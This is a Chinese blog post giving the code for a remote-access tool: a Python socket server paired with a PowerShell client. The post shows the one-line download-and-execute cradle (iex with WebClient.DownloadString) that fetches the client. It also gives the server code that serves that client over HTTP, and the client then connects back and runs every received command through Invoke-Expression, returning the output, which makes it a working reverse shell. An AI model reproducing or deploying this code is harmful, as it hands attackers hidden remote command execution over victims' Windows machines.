简介

从Win7开始,Windows全部自带极其强大的Powershell,Windows的新利器!我之后会陆续写一些关于Powershell应用的文章。

这是用Python写服务端,PowerShell写客户端,基于Socket的一个远控脚本。
其实Powershell也可以写服务端,选Python写服务端主要是为了在Linux服务器上也能跑。

原理

iex (New-Object Sys.Net.Webclient).DownloadString("http://IP:Port/connect")

  • 用PowerShell上面的命令发Http请求得到客户端代码并用IEX命令执行
  • 客户端再次与服务端建立TCP链接,执行接收到的代码并返回处理结果
  • 服务端通过建立连接后收到的第一段数据判断是哪一种请求

客户端代码完全可以放在Github或者其他Web服务器上,用同一个服务器与端口纯粹是为了快速搭建。

TODO

  • 客户端增加注册表操作
  • 优化文件上传下载
  • 客户端的异常处理

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# 这里只发个主要思路,直接用并不靠谱,我后续还改过很多代码。
# -*- coding:utf-8 -*-
import sys
import socket
import threading

if len(sys.argv) == 2:
port = int(sys.argv[1])
else:
sys.exit("Usage: server.py <port>")

allConnections = []
allAddresses = []


def main():
threadCommand = threading.Thread(target=get_command)
threadCommand.start()
threadService = threading.Thread(target=service)
threadService.start()


# 接受输入参数与控制命令
def get_command():
while 1:
command = raw_input("> ")
if command == "list":
print "pk------------address-----------------port"
pk = 1
for i in allAddresses:
print str(pk) + "------" + str(i[0]) + "---------" + str(i[1])
pk += 1
elif command.startswith("c"):
try:
pk = int(command[2:]) - 1
except:
print "usage:c <client_pk>"

while 1:
try:
msg = raw_input("control %s:%s> " % (allAddresses[pk][0], allAddresses[pk][1]))
allConnections[pk].send(msg)
allConnections[pk].settimeout(5)
result = allConnections[pk].recv(1024)
result = result.decode('utf8')
print result

except KeyboardInterrupt:
print "Catch C-c"
break
except Exception, e:
print "error:" + str(e)
break


# Socket服务进程,如果Request里包含connect,用Http返回PowerShell客户端的代码
# 如果Request不包含connect,说明是后续的TCP连接成功,添加进已连接的客户端数组
def service():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('', port))
sock.listen(5)
while 1:
try:
conn, addr = sock.accept()
conn.setblocking(1)
if conn:
request = conn.recv(23)
print request
if request.find("/connect") > 0:
http_message(keep_connect("192.168.199.100", port), conn)
else:
allConnections.append(conn)
allAddresses.append(addr)
print "Connected with " + addr[0] + ":" + str(addr[1])
except Exception, e:
print "error:" + str(e)
break


# PowerShell客户端的代码,与服务端用TCP连接,Iex执行接受的数据并返回执行结果
def keep_connect(ip, port):
message = '$client = New-Object System.Net.Sockets.TcpClient("%s",%d)' % (ip, port)
message += '''
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
if ($stream.CanWrite)
{
$sendBytes = ([text.encoding]::ASCII).GetBytes("rat")
$stream.Write($sendBytes, 0, $sendBytes.Length)
while (1)
{
try{
$data = $stream.read($bytes, 0, $bytes.Length)
$EncodedText = New-Object -TypeName System.Text.UTF8Encoding
$info = $EncodedText.GetString($bytes,0, $data)
$sendback = (Invoke-Expression -Command $info 2>&1 | Out-String )
$sendbackBytes = ([text.encoding]::UTF8).GetBytes($sendback)
$stream.Write($sendbackBytes,0,$sendbackBytes.Length)
write($info)
}
catch
{
Write-Error $_
continue
}
}
}
else
{ }
'''

return message


def http_message(msg, conn):
try:
httpHead = "HTTP/1.1 200 OK\r\n"
httpHead += "Content-type: text/html; charset=utf-8\r\n"
httpHead += "Connection: Keep-Alive\r\n"
httpHead += "Server: test\r\n"
httpHead += "Content-Length: %d\r\n" % len(msg)
httpHead += "\r\n"

conn.send(httpHead + msg)
return 1
except:
return 0

if __name__ == '__main__':
main()